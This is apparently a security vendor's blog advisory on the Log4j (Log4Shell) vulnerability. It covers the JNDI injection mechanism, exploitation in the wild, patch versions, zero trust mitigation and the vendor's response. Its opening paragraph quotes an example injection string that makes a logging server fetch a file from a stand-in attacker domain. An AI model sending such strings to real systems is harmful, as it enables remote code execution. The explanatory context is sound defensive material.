By now, you are probably aware of the Apache Log4J vulnerability being tracked under CVE-2021-44228. Due to a lack of input sanitization, an attacker can abuse the Java Naming and Directory Interface (JNDI) to gain remote code execution. An attacker would begin this attack by adding $jndi:ldap://baddomain[.]com/file into any web request that will be logged. The victim system will then reach out to the malicious domain and download the file specified in the variable. The downloaded file is then executed on the server. This attack is not limited to ldap, other protocols such as ldaps, rmi, dns, and iiop will work as well. It is important to note that the $jndi variable does not need to appear in the URL, it can be in any location in the http header that would be logged by the log4j system. For example, there are reported cases where the threat actors are inserting it into the user agent string. It has also been observed that attackers are utilizing various obfuscation methods to try and thwart detections of this vulnerability, such as using mixed case and other formatting tricks.
According to web telemetry and honeynets, threat actors are actively scanning the internet for systems vulnerable to CVE-2021-44228. There are already known exploit tools to create webshells that will allow attackers access to the vulnerable systems – one of the initial versions is known as Log4Shell. The scanning activity is coming from multiple countries with Russia being the top. Open source reporting indicates that many botnets are starting to utilize CVE-2021-44228 to gain access to systems and thus gain more bots. Additional reporting indicates that access brokers are also utilizing this CVE to gain initial access to systems that they will then sell to other cyber criminals and nation state actors for purposes such as ransomware. As if that is not bad enough, nation state actors from China, North Korea, and Iran have been spotted using this vulnerability to deliver second stage payloads.
A patch for CVE-2021-44228 (log4j 2.15.0) was released and not long after, it was discovered that the fix was incomplete, leading to the creation of CVE-2021-45046. CVE-2021-45046 allowed for a denial-of-service attack. This behavior, found to exist in a few edge cases, was seen being exploited in the wild. Log4j 2.16.0 was released to address this issue.
According to security firm Praetorian there may be a third case of information exfiltration capabilities that remain unfixed. Details of this exploit have not been released although they do have a video on how to exploit it on 2.15.0.
Adopting a zero trust architecture could greatly help reduce the impact of vulnerabilities such as log4j. The foundational tenant of zero trust is that communications are only allowed between trusted and authorized entities. Zero trust allows you to hide your resources from untrusted entities and thus things like network scanning would have no impact on your operation as there are no externally visible services attackers can access. It is always important to keep your software up to date, even in a zero trust architecture; however, the initial patching efforts could then easily be focused on the few, if any, externally facing services you have.
CISA, in their Apache Log4j Vulnerability Guidance has required that “In accordance with BOD 22-01, federal civilian executive branch agencies must mitigate CVE-2021-44228 by December 24, 2021.”
iboss’ Response
iboss’ research and intel group learned of this vulnerability on Friday, December 10, 2021, and immediately began an investigation. Once we understood the vulnerability, we began testing our platform to look for vulnerabilities. In addition, we reached out to our engineering team who did a source code review of our tools and libraries. After completing a comprehensive review, iboss released the following in an advisory to our customers.
“iboss has completed a comprehensive review of the situation, risk to the iboss platform, and source code. It has been validated that the iboss solution is not running a vulnerable version of Log4j and that we have a layered protection within iboss’ deployed version of Java. Despite the lack of vulnerable packages, iboss executed vulnerability testing against our environments and further confirmed the absence of risk from this vulnerability.”
iboss will continue to monitor for any additional information on the log4j vulnerabilities and will keep evaluating our platform to ensure that we are not vulnerable to any new issues or techniques brought to light.
What is iboss doing to protect our customers?
In addition to monitoring for new vulnerability information, iboss is continuing to add in new indictors of compromise (IOCs) into our threat feeds and advanced malware defense system. There are a large amount of reported CIDRs and domains scanning and attempting to utilize this vulnerability, we are vetting the IOCs to ensure the validity and to remove any potential false positives that may impact operations of our clients. In addition to our own efforts, our threat feed providers are doing the same and due to the volume of providers we integrate, we are getting wide global coverage. At last count, our engine has 57 unique log4j rules.
What else do you need to do?
First and foremost, you should check your internal applications and patch with the latest version of Log4j immediately. There are a growing number of tools being released to help scan your systems for this vulnerability as well as ways to check your logs to see if you have already been impacted.
In addition, you should check with all of the vendors who have applications running in your infrastructure. To help with this task, DHS’s Cybersecurity and Infrastructure Security Agency (CISA) has compiled a list of known vulnerable systems – you can find that on github. In addition, you can also check on the blogs and websites of your vendors as most are providing up to date information on their patch status.
Blog post authored by Jim Gogolinski, VP of Research and Intelligence at iboss.
